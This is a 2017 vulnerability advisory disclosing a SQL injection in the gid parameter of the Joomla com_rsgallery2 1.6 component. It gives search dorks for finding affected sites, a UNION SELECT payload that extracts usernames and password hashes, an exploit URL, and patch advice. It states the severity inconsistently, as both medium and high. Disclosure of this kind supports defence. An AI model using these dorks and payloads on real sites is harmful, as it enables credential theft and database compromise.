Document Title: =============== Joomla com_rsgallery2 v1.6 - SQL Injection Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2039 Release Date: ============= 2017-02-27 Vulnerability Laboratory ID (VL-ID): ==================================== 2039 Common Vulnerability Scoring System: ==================================== 6.9 Product & Service Introduction: =============================== Reliable gallery supporting user galleries on the frontend besides the standard features like watermarks and sub galleries. It is accompanied by modules and plugins so it can be as lean as needed. (Copy of the Homepage: https://extensions.joomla.org/extension/rsgallery2/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory partner team researcher discovered a remote sql-injection web vulnerability in the official Joomla CMS com_rsgallery2 v1.6 component. Vulnerability Disclosure Timeline: ================================== 2017-02-27: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Joomla Product: com_rsgallery2 - Joomla Component (Web-Application) 1.6 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A remote sql-injection vulnerability has been discovered in the official Joomla CMS com_rsgallery2 v1.6 component. The issue allows remote attackers to execute own malicious sql commands to compromise the web-application or dbms. The sql-injection vulnerability is located in the `gid` parameter of the `rsgallery2` joomla web module. The request method to execute is GET and the attack vector is client-side. Remote attackers are able to inject own malicious sql commands via vulnerable `gid` parameter to compromise the web-application or dbms. The web vulnerability is a classic sql-injection in the joomla content management system `com_rsgallery2` component. The security risk of the vulnerability is estimated as high with a common vulnerability scoring system count of 6.9. Exploitation of the sql-injection vulnerability requires no privilege web-application user account or user interaction. Successful exploitation of the web vulnerability results in web-application or database management system compromise. Request Method(s): [+] GET Vulnerable Components(s): [+] com_rsgallery2 (joomla) Vulnerable File(s): [+] index.php Vulnerable Parameter(s): [+] gid Proof of Concept (PoC): ======================= The sql-injection web vulnerability can be exploited by remote attackers without privilege web-application user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Dork(s): allinurl:index.php?option=com_rsgallery2 inurl:index.php?option=com_rsgallery2 site:index.php?option=com_rsgallery2 Payload(s): (gid) gid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13+from+jos_users-- PoC: Exploitation (gid) http://localhost/[JOOMLA_PATH]/index.php?option=com_rsgallery2&page=inline&Itemid=&lang=en&gid=[SQL-INJECTION VULNERABILITY!]&limitstart=1 Reference(s): http://localhost/joomla/ http://localhost/joomla/index.php http://localhost/joomla/index.php?option=com_rsgallery2 Solution - Fix & Patch: ======================= The sql-injection web vulnerability can be resolved by a parse and restriction of the vulnerable gid parameter. Disallow the usage of special chars and use the escape function. Implement a secure prepared statement to resolve the vulnerability. Security Risk: ============== The security risk of the remote sql injection web vulnerability in the web-application plugin is estimated as high. (CVSS 6.9) Credits & Authors: ================== Amir - Iranian Exploit Database (www.iedb.ir) [http://www.vulnerability-lab.com/show.php?user=IEDB%20Team] Thanks: C0dex,B3hz4d,Beni_vanda,Mr_time,Bl4ck M4n,black_security,Yasser,Ramin Assadian,Black_Nofuzi,SecureHost, 1TED,Mr_Kelever,Mr_keeper,Mahmod,Iedb,Khashayar,B3hz4d4,Shabgard,Cl09er,Be_lucky,MoslemHaghighian,Dr_Iman,8Bit, Javid,Esmiley_Amir,Mahdi_feizezade,Amin_Zohrabi,Shellshock3 ... all my friends and the Iedb Team. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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